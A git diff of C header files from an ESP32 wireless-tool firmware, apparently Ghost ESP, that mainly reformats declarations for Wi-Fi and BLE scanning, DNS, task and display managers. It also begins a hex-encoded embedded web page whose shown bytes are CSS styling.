*buf, wifi_promiscuous_pkt_type_t type); void ble_wardriving_callback(struct ble_gap_event *event, void *arg); void ble_skimmer_scan_callback(struct ble_gap_event *event, void *arg); -void gps_event_handler(void *event_handler_arg, esp_event_base_t event_base, int32_t event_id, void *event_data); - +void gps_event_handler(void *event_handler_arg, esp_event_base_t event_base, + int32_t event_id, void *event_data); +void wifi_stations_sniffer_callback(void *buf, + wifi_promiscuous_pkt_type_t type); typedef enum { - WPS_MODE_NONE = 0, // No WPS support - WPS_MODE_PBC, // Push Button Configuration (PBC) - WPS_MODE_PIN // PIN method (Display or Keypad) + WPS_MODE_NONE = 0, // No WPS support + WPS_MODE_PBC, // Push Button Configuration (PBC) + WPS_MODE_PIN // PIN method (Display or Keypad) } wps_modes_t; typedef struct { - char ssid[33]; // SSID (max 32 characters + null terminator) - uint8_t bssid[6]; // BSSID (MAC address) - bool wps_enabled; // True if WPS is enabled - wps_modes_t wps_mode; // WPS mode (PIN or PBC) + char ssid[33]; // SSID (max 32 characters + null terminator) + uint8_t bssid[6]; // BSSID (MAC address) + bool wps_enabled; // True if WPS is enabled + wps_modes_t wps_mode; // WPS mode (PIN or PBC) } wps_network_t; extern gps_t *gps; diff --git a/include/core/commandline.h b/include/core/commandline.h index 6cd70a05..cfc632bd 100644 --- a/include/core/commandline.h +++ b/include/core/commandline.h @@ -10,9 +10,9 @@ typedef void (*CommandFunction)(int argc, char **argv); typedef struct Command { - char *name; - CommandFunction function; - struct Command *next; + char *name; + CommandFunction function; + struct Command *next; } Command; // Functions to manage commands diff --git a/include/core/dns_server.h b/include/core/dns_server.h index ea7f8be9..b05cda8e 100644 --- a/include/core/dns_server.h +++ b/include/core/dns_server.h @@ -14,42 +14,48 @@ extern "C" { #define DNS_SERVER_MAX_ITEMS 1 #endif -#define DNS_SERVER_CONFIG_SINGLE(queried_name, netif_key) { \ - .num_of_entries = 1, \ - .item = { { .name = queried_name, .if_key = netif_key } } \ - } +#define DNS_SERVER_CONFIG_SINGLE(queried_name, netif_key) \ + { \ + .num_of_entries = 1, .item = { \ + {.name = queried_name, .if_key = netif_key} \ + } \ + } /** - * @brief Definition of one DNS entry: NAME - IP (or the netif whose IP to answer) + * @brief Definition of one DNS entry: NAME - IP (or the netif whose IP to + * answer) * - * @note Please use string literals (or ensure they are valid during dns_server lifetime) as names, since - * we don't take copies of the config values `name` and `if_key` + * @note Please use string literals (or ensure they are valid during dns_server + * lifetime) as names, since we don't take copies of the config values `name` + * and `if_key` */ typedef struct dns_entry_pair { - const char* name; /** typedef struct ManagedTask { - TaskHandle_t task_handle; - char task_name[16]; - UBaseType_t priority; - void (*on_task_complete)(const char *task_name); // Callback when task completes - struct ManagedTask *next; + TaskHandle_t task_handle; + char task_name[16]; + UBaseType_t priority; + void (*on_task_complete)( + const char *task_name); // Callback when task completes + struct ManagedTask *next; } ManagedTask; // Initialize the System Manager void system_manager_init(); // Create a new task -bool system_manager_create_task(void (*task_function)(void *), const char *task_name, uint32_t stack_size, UBaseType_t priority, void (*on_task_complete)(const char *)); +bool system_manager_create_task(void (*task_function)(void *), + const char *task_name, uint32_t stack_size, + UBaseType_t priority, + void (*on_task_complete)(const char *)); // Remove an existing task by name bool system_manager_remove_task(const char *task_name); @@ -31,7 +35,8 @@ bool system_manager_suspend_task(const char *task_name); bool system_manager_resume_task(const char *task_name); // Change a task’s priority -bool system_manager_set_task_priority(const char *task_name, UBaseType_t new_priority); +bool system_manager_set_task_priority(const char *task_name, + UBaseType_t new_priority); // Print the list of all tasks void system_manager_list_tasks(); diff --git a/include/core/utils.h b/include/core/utils.h index a00b7172..bc0a8970 100644 --- a/include/core/utils.h +++ b/include/core/utils.h @@ -7,54 +7,58 @@ #include #include -const char* wrap_message(const char *message, const char *file, int line) { - int size = snprintf(NULL, 0, "File: %s, Line: %d, Message: %s", file, line, message); - - char *buffer = (char *)malloc(size + 1); - - if (buffer != NULL) { - snprintf(buffer, size + 1, "File: %s, Line: %d, Message: %s", file, line, message); - } - return buffer; -} - -void scale_grb_by_brightness(uint8_t *g, uint8_t *r, uint8_t *b, float brightness) { - float scale_factor = brightness < 0.0f ? -brightness : brightness; - - - if (scale_factor > 1.0f) { - scale_factor = 1.0f; - } - - int original_g = *g; - int original_r = *r; - int original_b = *b; - +const char *wrap_message(const char *message, const char *file, int line) { + int size = + snprintf(NULL, 0, "File: %s, Line: %d, Message: %s", file, line, message); - *g = (int)((float)(original_g) * scale_factor); - *r = (int)((float)(original_r) * scale_factor); - *b = (int)((float)(original_b) * scale_factor); + char *buffer = (char *)malloc(size + 1); - - if (*g > 255) *g = 255; - if (*r > 255) *r = 255; - if (*b > 255) *b = 255; + if (buffer != NULL) { + snprintf(buffer, size + 1, "File: %s, Line: %d, Message: %s", file, line, + message); + } + return buffer; +} - if (*g < 0) *g = 0; - if (*r < 0) *r = 0; - if (*b < 0) *b = 0; +void scale_grb_by_brightness(uint8_t *g, uint8_t *r, uint8_t *b, + float brightness) { + float scale_factor = brightness < 0.0f ? -brightness : brightness; + + if (scale_factor > 1.0f) { + scale_factor = 1.0f; + } + + int original_g = *g; + int original_r = *r; + int original_b = *b; + + *g = (int)((float)(original_g)*scale_factor); + *r = (int)((float)(original_r)*scale_factor); + *b = (int)((float)(original_b)*scale_factor); + + if (*g > 255) + *g = 255; + if (*r > 255) + *r = 255; + if (*b > 255) + *b = 255; + + if (*g < 0) + *g = 0; + if (*r < 0) + *r = 0; + if (*b < 0) + *b = 0; } bool is_in_task_context(void); - void url_decode(char *decoded, const char *encoded); -int get_query_param_value(const char *query, const char *key, char *value, size_t value_size); - - -int get_next_pcap_file_index(const char* base_name); +int get_query_param_value(const char *query, const char *key, char *value, + size_t value_size); +int get_next_pcap_file_index(const char *base_name); #define WRAP_MESSAGE(msg) wrap_message(msg, __FILE__, __LINE__) diff --git a/include/managers/ap_manager.h b/include/managers/ap_manager.h index 8b540402..a6fa2dfa 100644 --- a/include/managers/ap_manager.h +++ b/include/managers/ap_manager.h @@ -10,13 +10,12 @@ esp_err_t ap_manager_init(void); void ap_manager_deinit(void); // Function to add log messages -void ap_manager_add_log(const char* log_message); +void ap_manager_add_log(const char *log_message); // only indeded to be used after ap_manager_init has been called once void ap_manager_stop_services(); // only indeded to be used after ap_manager_init has been called once -esp_err_t ap_manager_start_services(); - +esp_err_t ap_manager_start_services(); #endif // AP_MANAGER_H \ No newline at end of file diff --git a/include/managers/ble_manager.h b/include/managers/ble_manager.h index 49205e05..5b713b79 100644 --- a/include/managers/ble_manager.h +++ b/include/managers/ble_manager.h @@ -1,32 +1,32 @@ #ifndef BLE_MANAGER_H #define BLE_MANAGER_H -#include -#include #include "esp_err.h" - +#include +#include #define MAX_UUID16 10 #define MAX_UUID32 5 #define MAX_UUID128 3 -#define MAX_PAYLOADS 10 // Maximum number of similar payloads to consider as spam -#define PAYLOAD_COMPARE_LEN 20 // Length of the payload to compare for similarity +#define MAX_PAYLOADS \ + 10 // Maximum number of similar payloads to consider as spam +#define PAYLOAD_COMPARE_LEN \ + 20 // Length of the payload to compare for similarity #define TIME_WINDOW_MS 3000 - #ifndef CONFIG_IDF_TARGET_ESP32S2 typedef void (*ble_data_handler_t)(struct ble_gap_event *event, size_t len); typedef struct { - uint16_t uuid16[MAX_UUID16]; - int uuid16_count; + uint16_t uuid16[MAX_UUID16]; + int uuid16_count; - uint32_t uuid32[MAX_UUID32]; - int uuid32_count; + uint32_t uuid32[MAX_UUID32]; + int uuid32_count; - char uuid128[MAX_UUID128][37]; - int uuid128_count; + char uuid128[MAX_UUID128][37]; + int uuid128_count; } ble_service_uuids_t; esp_err_t ble_register_handler(ble_data_handler_t handler); @@ -43,6 +43,5 @@ void ble_start_scanning(void); void ble_start_skimmer_detection(void); void ble_stop_skimmer_detection(void); - -#endif +#endif #endif // BLE_MANAGER_H \ No newline at end of file diff --git a/include/managers/dial_manager.h b/include/managers/dial_manager.h index 635a3e64..04a853f2 100644 --- a/include/managers/dial_manager.h +++ b/include/managers/dial_manager.h @@ -1,39 +1,36 @@ #ifndef DIAL_MANAGER_H #define DIAL_MANAGER_H -#include "vendor/dial_client.h" #include "esp_err.h" #include "esp_http_client.h" - +#include "vendor/dial_client.h" // Enum for supported apps -typedef enum { - APP_YOUTUBE, - APP_NETFLIX, - APP_UNKNOWN -} DIALAppType; +typedef enum { APP_YOUTUBE, APP_NETFLIX, APP_UNKNOWN } DIALAppType; // DIAL Manager structure typedef struct { - DIALClient *client; + DIALClient *client; } DIALManager; // Initialize DIAL Manager esp_err_t dial_manager_init(DIALManager *manager, DIALClient *client); // Check the app status (YouTube, Netflix, etc.) -esp_err_t check_app_status(DIALManager *manager, DIALAppType app, const char *appUrl, Device *device); +esp_err_t check_app_status(DIALManager *manager, DIALAppType app, + const char *appUrl, Device *device); // Helper to extract IP and port from app URL -esp_err_t extract_ip_and_port(const char *url, char *ip_out, uint16_t *port_out); +esp_err_t extract_ip_and_port(const char *url, char *ip_out, + uint16_t *port_out); // Helper to construct app-specific path for checking status -const char* get_app_path(DIALAppType app); +const char *get_app_path(DIALAppType app); bool launch_app(DIALManager *manager, DIALAppType app, const char *appUrl); void explore_network(DIALManager *manager); -char* get_dial_application_url(const char *location_url); +char *get_dial_application_url(const char *location_url); #endif // DIAL_MANAGER_H \ No newline at end of file diff --git a/include/managers/display_manager.h b/include/managers/display_manager.h index 1aa6b948..f0c45de5 100644 --- a/include/managers/display_manager.h +++ b/include/managers/display_manager.h @@ -2,51 +2,44 @@ #define DISPLAY_MANAGER_H #include "lvgl.h" -#include #include "managers/joystick_manager.h" +#include +typedef void *QueueHandle_tt; +typedef void *SemaphoreHandle_tt; // Because Circular Includes are fun :) -typedef void* QueueHandle_tt; -typedef void* SemaphoreHandle_tt; // Because Circular Includes are fun :) - - -typedef enum { - INPUT_TYPE_JOYSTICK, - INPUT_TYPE_TOUCH -} InputType; +typedef enum { INPUT_TYPE_JOYSTICK, INPUT_TYPE_TOUCH } InputType; typedef struct { - InputType type; - union { - int joystick_index; // Used for joystick inputs - lv_indev_data_t touch_data; // Used for touchscreen inputs - } data; + InputType type; + union { + int joystick_index; // Used for joystick inputs + lv_indev_data_t touch_data; // Used for touchscreen inputs + } data; } InputEvent; -#define INPUT_QUEUE_LENGTH 10 -#define INPUT_ITEM_SIZE sizeof(int) +#define INPUT_QUEUE_LENGTH 10 +#define INPUT_ITEM_SIZE sizeof(int) QueueHandle_tt input_queue; #define MUTEX_TIMEOUT_MS 100 - -#define HARDWARE_INPUT_TASK_PRIORITY (4) -#define RENDERING_TASK_PRIORITY (4) +#define HARDWARE_INPUT_TASK_PRIORITY (4) +#define RENDERING_TASK_PRIORITY (4) typedef struct { - lv_obj_t *root; - void (*create)(void); - void (*destroy)(void); - const char* name; - void (*get_hardwareinput_callback)(void **callback); - void (*input_callback)(InputEvent*); + lv_obj_t *root; + void (*create)(void); + void (*destroy)(void); + const char *name; + void (*get_hardwareinput_callback)(void **callback); + void (*input_callback)(InputEvent *); } View; - typedef struct { - View *current_view; - View *previous_view; - SemaphoreHandle_tt mutex; + View *current_view; + View *previous_view; + SemaphoreHandle_tt mutex; } DisplayManager; /* Function prototypes */ @@ -76,7 +69,6 @@ void display_manager_destroy_current_view(void); */ View *display_manager_get_current_view(void); - void lvgl_tick_task(void *arg); void hardware_input_task(void *pvParameters); @@ -87,9 +79,10 @@ lv_color_t hex_to_lv_color(const char *hex_str); // Status Bar Functions -void update_status_bar(bool wifi_enabled, bool bt_enabled, bool sd_card_mounted, int batteryPercentage); +void update_status_bar(bool wifi_enabled, bool bt_enabled, bool sd_card_mounted, + int batteryPercentage); -void display_manager_add_status_bar(const char* CurrentMenuName); +void display_manager_add_status_bar(const char *CurrentMenuName); LV_IMG_DECLARE(Ghost_ESP); LV_IMG_DECLARE(Map); @@ -100,8 +93,6 @@ LV_IMG_DECLARE(GESPFlappyghost); LV_IMG_DECLARE(ghost); LV_IMG_DECLARE(GESPAppGallery); - joystick_t joysticks[5]; - #endif /* DISPLAY_MANAGER_H */ \ No newline at end of file diff --git a/include/managers/ghost_esp_site.h b/include/managers/ghost_esp_site.h index 4902fedc..f5d964f7 100644 --- a/include/managers/ghost_esp_site.h +++ b/include/managers/ghost_esp_site.h @@ -1,1787 +1,6019 @@ /* Generated by bin2c, do not edit manually */ /* Contents of file ghost_site.html */ -const long int ghost_site_html_size = 71238UL + 1; -const unsigned char ghost_site_html[71238UL + 1] = { - 0x3C, 0x21, 0x44, 0x4F, 0x43, 0x54, 0x59, 0x50, 0x45, 0x20, 0x68, 0x74, 0x6D, 0x6C, 0x3E, 0x0D, 0x0A, 0x3C, 0x68, 0x74, 0x6D, 0x6C, 0x20, 0x6C, 0x61, 0x6E, 0x67, 0x3D, 0x22, 0x65, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x3C, 0x68, 0x65, 0x61, 0x64, - 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6D, 0x65, 0x74, 0x61, 0x20, 0x63, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x3D, 0x22, 0x55, 0x54, 0x46, 0x2D, 0x38, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x74, 0x69, 0x74, 0x6C, - 0x65, 0x3E, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x45, 0x53, 0x50, 0x3C, 0x2F, 0x74, 0x69, 0x74, 0x6C, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6D, 0x65, 0x74, 0x61, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x3D, 0x22, 0x76, 0x69, 0x65, - 0x77, 0x70, 0x6F, 0x72, 0x74, 0x22, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3D, 0x22, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3D, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x2C, 0x20, 0x69, 0x6E, 0x69, 0x74, - 0x69, 0x61, 0x6C, 0x2D, 0x73, 0x63, 0x61, 0x6C, 0x65, 0x3D, 0x31, 0x2E, 0x30, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, - 0x20, 0x43, 0x53, 0x53, 0x20, 0x56, 0x61, 0x72, 0x69, 0x61, 0x62, 0x6C, 0x65, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x43, 0x6F, 0x6C, 0x6F, 0x72, 0x73, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x46, 0x6F, 0x6E, 0x74, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3A, 0x72, 0x6F, 0x6F, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, - 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x30, 0x61, 0x30, 0x61, 0x30, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x73, 0x75, 0x72, 0x66, 0x61, 0x63, 0x65, - 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x31, 0x32, 0x31, 0x32, 0x31, 0x61, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, - 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x36, 0x62, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, - 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x33, 0x65, 0x31, 0x39, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x63, - 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x39, 0x63, 0x32, 0x37, 0x62, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, - 0x72, 0x79, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, - 0x72, 0x79, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x30, 0x2E, 0x37, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x2D, 0x31, 0x3A, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x61, 0x72, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x31, 0x33, 0x35, 0x64, 0x65, 0x67, 0x2C, - 0x20, 0x23, 0x66, 0x66, 0x36, 0x62, 0x30, 0x30, 0x2C, 0x20, 0x23, 0x39, 0x63, 0x32, 0x37, 0x62, 0x30, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, - 0x65, 0x6E, 0x74, 0x2D, 0x32, 0x3A, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x61, 0x72, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x34, 0x35, 0x64, 0x65, 0x67, 0x2C, 0x20, 0x23, 0x63, 0x63, 0x35, 0x35, 0x30, 0x30, 0x2C, 0x20, 0x23, - 0x66, 0x66, 0x36, 0x62, 0x30, 0x30, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x62, 0x67, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x38, - 0x2C, 0x20, 0x31, 0x38, 0x2C, 0x20, 0x32, 0x36, 0x2C, 0x20, 0x30, 0x2E, 0x38, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, - 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x36, 0x62, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x62, 0x67, 0x3A, - 0x20, 0x23, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x3A, 0x20, 0x23, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x67, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x33, 0x30, - 0x2C, 0x20, 0x33, 0x30, 0x2C, 0x20, 0x33, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x36, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x6F, 0x72, - 0x64, 0x65, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x36, 0x62, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, - 0x79, 0x3A, 0x20, 0x27, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x27, 0x2C, 0x20, 0x73, 0x61, 0x6E, 0x73, 0x2D, 0x73, 0x65, 0x72, 0x69, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x66, - 0x6F, 0x6E, 0x74, 0x2D, 0x6D, 0x6F, 0x6E, 0x6F, 0x3A, 0x20, 0x27, 0x4A, 0x65, 0x74, 0x42, 0x72, 0x61, 0x69, 0x6E, 0x73, 0x20, 0x4D, 0x6F, 0x6E, 0x6F, 0x27, 0x2C, 0x20, 0x6D, 0x6F, 0x6E, 0x6F, 0x73, 0x70, 0x61, 0x63, 0x65, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x27, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x27, 0x2C, 0x20, 0x73, 0x61, 0x6E, 0x73, 0x2D, 0x73, - 0x65, 0x72, 0x69, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x52, 0x65, 0x73, 0x65, 0x74, 0x20, 0x53, 0x74, 0x79, - 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2A, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, - 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x69, 0x7A, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x62, 0x6F, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x47, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x74, 0x6D, - 0x6C, 0x2C, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x76, 0x68, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, - 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x20, 0x7B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x62, 0x6F, 0x64, - 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, - 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, - 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x2D, 0x68, - 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x2E, 0x36, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, - 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x76, 0x65, 0x72, 0x66, 0x6C, 0x6F, 0x77, 0x2D, 0x78, 0x3A, 0x20, 0x68, 0x69, 0x64, 0x64, 0x65, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 